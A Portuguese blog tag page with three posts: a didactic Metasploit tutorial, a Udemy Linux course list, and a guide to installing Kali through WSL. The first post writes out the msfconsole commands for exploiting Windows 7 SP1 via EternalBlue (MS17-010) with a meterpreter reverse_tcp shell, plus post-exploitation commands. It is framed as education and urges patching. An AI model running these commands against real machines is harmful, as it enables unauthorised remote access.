Diolinux - O modo Linux e Open Source de ver o Mundo

Responsive Ad Slot

Mostrando postagens com marcador Kali Linux. Mostrar todas as postagens
Mostrando postagens com marcador Kali Linux. Mostrar todas as postagens

Como Acessar o Windows pelo Linux com Metasploit

Nenhum comentário

terça-feira, 23 de abril de 2019

O Metasploit é uma ferramenta usada por pentesters para avaliar as capacidade de segurança de um sistema, fazer invasões e também detectar intrusos. É uma ferramenta muito comum em distribuições Linux voltadas para este meio, como o Kali Linux. Hoje você vai conhecer uma de suas facetas. 

Metasploit







Metasploit é um projeto de segurança da informação que fornece informações sobre vulnerabilidades de segurança e ajuda nos testes de penetração. É de propriedade da empresa de segurança Rapid7, de Boston, Massachusetts, que possui diversos softwares (Opcode - Banco de Dados ; e o Shellcode , que executa comandos de Shell Script... ), entre eles o mais conhecido é o Metasploit Framework, um software de código aberto para explorar falhas de uma máquina remota.

O Metasploit possui 6 tipos de módulos (auxiliaryexploitpayloadpostencoder e nop) . No vídeo apresentado por nós, vamos utilizar o Meterpreter que é um payload avançado.

Instalação


Existem diversas maneiras de você instalar o Metasploit Framework. Baixando diretamente pelo site  ou pelo GitHub

Para quem gosta de fazer manualmente, é possível instalá-lo via gerenciador de pacotes da sua distribuição, por exemplo, na distribuição Ubuntu, Linux Mint, Debian e derivados basta realizar os comandos abaixo:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall
sudo ./msfinstall
msfdb init


E pronto, o Metasploit está pronto para uso! 

Lembrando que em algumas distribuições já possuem o Metasploit instalado por padrão, como o Pentoo e o Kali Linux, entre  outras criadas especialmente para testes de invasão.

O Próximo passo é rodar o Metasploit por este comando:

msfconsole

Isso irá abrir o framework, e em seguida usaremos o Meterpreter para acessar o Windows , basta rodar os comandos abaixo na ordem:


use exploit/windows/smb/ms17_010_eternalblue
set RHOST NÚMERO_IP_DA_MÁQUINA_WINDOWS
set payload windows/x64/meterpreter/reverse_tcp
set LHOST NÚMERO_IP_DA_SUA_MÁQUINA
set encoder generic/none
exploit


Lembrando que esses comandos são "a grosso modo", e servem para Windows 7 Service Pack 1 , para outras versões assista o vídeo com link abaixo que há mais detalhes para variados casos.

Após acessar você pode obter informações detalhadas do sistema com o comando sysinfo; tirar um print da tela com o comando screenshot ; saber qual diretório você está com o comando pwd a saída será algo do tipo *c:32* ; desligar, reiniciar,... entre vários  comandos  que podem ser  consultados  pelo comando help .

Confira o exemplo no vídeo:



Esse artigo e o vídeo apresentado foram criados com finalidade didática, mantenha o seu Windows atualizado para evitar ser exposto a coisas do tipo. A falha explorada neste exemplo, por exemplo, já foi corrigida pela Microsoft, daí a importância de manter os sistemas sempre atualizados.

Se você ainda não domina Shell Script e o Terminal Linux. Aproveite uma promoção onde você pode adquirir 5 cursos de terminal Linux, incluindo Shell Script, Expressões Regulares, Vim e Sed. 

Clicando nesse link http://bit.ly/Promo5pg para adquirir com o PagSeguro ou nesse link http://bit.ly/5CursosLinux para adquirir com o PayPal. Se quiser mais detalhes da promoção veja essa postagem: 5 Cursos do Terminal Linux para você !

Esse artigo foi escrito em parceria com a galera do Terminal Root, os quais são os autores dos cursos mencionados acima, até a próxima!_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


Top 5 cursos para APRENDER LINUX na Udemy

Nenhum comentário

quarta-feira, 20 de junho de 2018

A Udemy é uma das, se não for a maior, plataforma de cursos online que existem, porém, existem muitos cursos sobre todos os tipos de assuntos e é comum as pessoas se perguntarem quais são as melhorias opções para quem quer aprender sobre Linux. Bom, vamos ver se conseguimos resolver essa questão para você.

Cursos para aprender Linux






Hoje mesmo eu recebi alguns e-mails de pessoas que estão chegando no mundo Linux agora perguntando sobre cursos que é possível fazer. 

Minha resposta, ao menos por enquanto, é que não é necessário fazer nenhum curso se você acabou de chegar. Antes mesmo de iniciar um curso é importante você se familiarizar com algumas coisas, com alguns termos utilizados e entender como você irá aplicar o Linux no seu dia a dia, porém, essa não é uma verdade para todos.

Se você está chegando, ver os vídeos do canal Diolinux e ler os vários artigos aqui do blog pode te dar uma boa base para começar, mas...

Se está pronto para dar um passo além e busca utilizar Linux como sua profissão, fazer um curso pode ser algo extremamente bem-vindo, especialmente se ele for focado na área que você deseja.

Tecnologia de forma geral é algo muito abrangente e no mundo Linux não seria diferente, por isso, eu selecionei alguns dos que eu considero os melhores cursos disponíveis na nossa parceira Udemy, para que você possa fazer um belo desconto.

Pensando do lado profissional da coisa temos:

1 ꔷ Primeiros Passos no Linux - Conceitos e Principais Comandos

Este curso vai te ensinar a lidar com os comandos mais básicos no terminal Linux de forma genérica, além disso, você conhecerá também as principais interfaces, um pouco da história envolvendo Software Livre e Open Source, sendo considerado um curso introdutório.

2 ꔷ Terminal Linux, Shell Scripting e Gerenciamento de Redes

Subindo um pouco o nível, com este curso você aprenderá a usar os comandos aprendidos no primeiro curso e muitos mais para aprender a criar scripts para automatizar tarefas no Linux, além de passar pelo sistema de gerenciamento de redes. Além disso o curso possui módulos para quem deseja saber mais sobre particionamento de discos, configuração de usuários e mais.

Um curso para quem quer aprender a trabalhar com uma das mais famosas distros, aprendendo a instalar o Ubuntu, configurá-lo, etc. O curso ainda contempla a instalação de aplicativos, configurações do desktop e explora recursos do sistema para aumentar a sua produtividade.

4 ꔷ Kali Linux

O Kali Linux é a famosa distro para os hackers e estudantes de segurança da informação. O curso foca em uma aspecto diferente dos dois primeiros, onde os conhecimentos dos dois anteriores podem ser aplicados também.

Este curso pode te ajudar a conhecer um pouco mais do mundo de Pentest. Não creio que ele te torne um profissional do ramo, pois isso demanda algum tempo de experiência, mas ele pode te dar as diretrizes no assunto, além de ensinar a usar algumas ferramentas populares contidas no Kali. Acima de tudo, não esqueça de estudar segurança de forma mais ampla.

5 ꔷ Preparatório para Certificação Linux LPIC-1 e CompTIA Linux+

Dando um passo além novamente, temos o curso que vai te ajudar a se preparar para a sua primeira certificação Linux internacional. Além de treinar você em relação ao conteúdo das provas, este curso também lhe dá algumas dicas de como fazê-las e é, inclusive, um dos cursos mais vendidos da Udemy.

Existem muitos outros ótimos cursos para Linux disponíveis que focam em outros setores também, porém, podemos deixá-los para outro artigo aqui do blog.

Se você quer aprender Linux, aprender sobre tecnologia e se profissionalizar, considere acessar a nossa página especial de curadoria de cursos na Udemy, lá você encontra todos os cursos que nós consideramos de relevância nos mais diversos setores, de cursos envolvendo programação, design, inglês para profissionais de T.I. até desenvolvimento pessoal e marketing digital.

Aproveite as promoções e bons estudos!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.


Agora você pode usar o Kali Linux de dentro do Windows 10

Nenhum comentário

terça-feira, 13 de março de 2018

A mais nova distribuição Linux a fazer parte da Windows Store é o popular Kali Linux, uma das distros mais famosas no ramo de PenTest. O processo é feito, assim como com o Ubuntu, SUSE, Debian, etc, através do WSL (Windows Subsystem for Linux).

Kali Linux Windows Store






Os desenvolvedores do Kali Linux anunciaram a integração do projeto à Windows Store. O aplicativo do Kali é distribuído gratuitamente e funciona exatamente como o "Ubuntu on Windows" e permite que os usuários usufruam  de alguns recursos da distro através do sistema da Microsoft.

Os desenvolvedores comentam que existem muitos usuários, estudantes e "pentesters" que muitas vezes estão presos ao sistema da Microsoft por conta de opções empresariais em seus ambientes de trabalho, com esta aplicação, o Kali se torna mais flexível e permite que até mesmo usuários do Windows possam utilizá-lo.

Apesar disso, a usabilidade ainda é muito mais limitada se comparada com a distro em si, o primeiro ponto é que o "Kali on Windows" permite (nativamente) o uso de apenas softwares que são em modo texto, e falando nisso, nenhum deles vem pré-instalado, no entanto, o repositório rico em aplicações de testes de penetração e hacking do Kali Linux está à disposição.

Como instalar o WSL do Kali Linux no Windows 10


O recurso WSL ainda está em fase Beta e precisa ser ativado no Windows antes de você simplesmente fazer a instalação pela Windows Store. Abra o PowerShell (terminal) do Windows e rode o seguinte comando:
Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux
Você também pode habilitar essa opção através da interface:
Configurando o Kali Linux no Windows


ꔷ Vá até o painel de controle e clique em "Apps";
ꔷ Em "Aplicativos e Recursos" do lado esquerdo, observe o link no painel direito e clique em "Programas e recursos";
ꔷ Do lado esquerdo da janela que se abrir clique em "Ativar ou desativar recursos do Windows";
ꔷ Na janela que se abrir procure por "Windows Subsystem for Linux" ou "Subsistema do Windows para Linux" e ative a função;
ꔷ Reinicie o computador;
ꔷ Instale o aplicativo do Kali à partir da Windows Store.

Com isso você encontrará o aplicativo do Kali no menu do seu Windows 10.

Até a próxima!
_____________________________________________________________________________
Viu algum erro ou gostaria de adicionar alguma sugestão a essa matéria? Colabore, clique aqui.



Blog Diolinux © all rights reserved
made with by templateszoo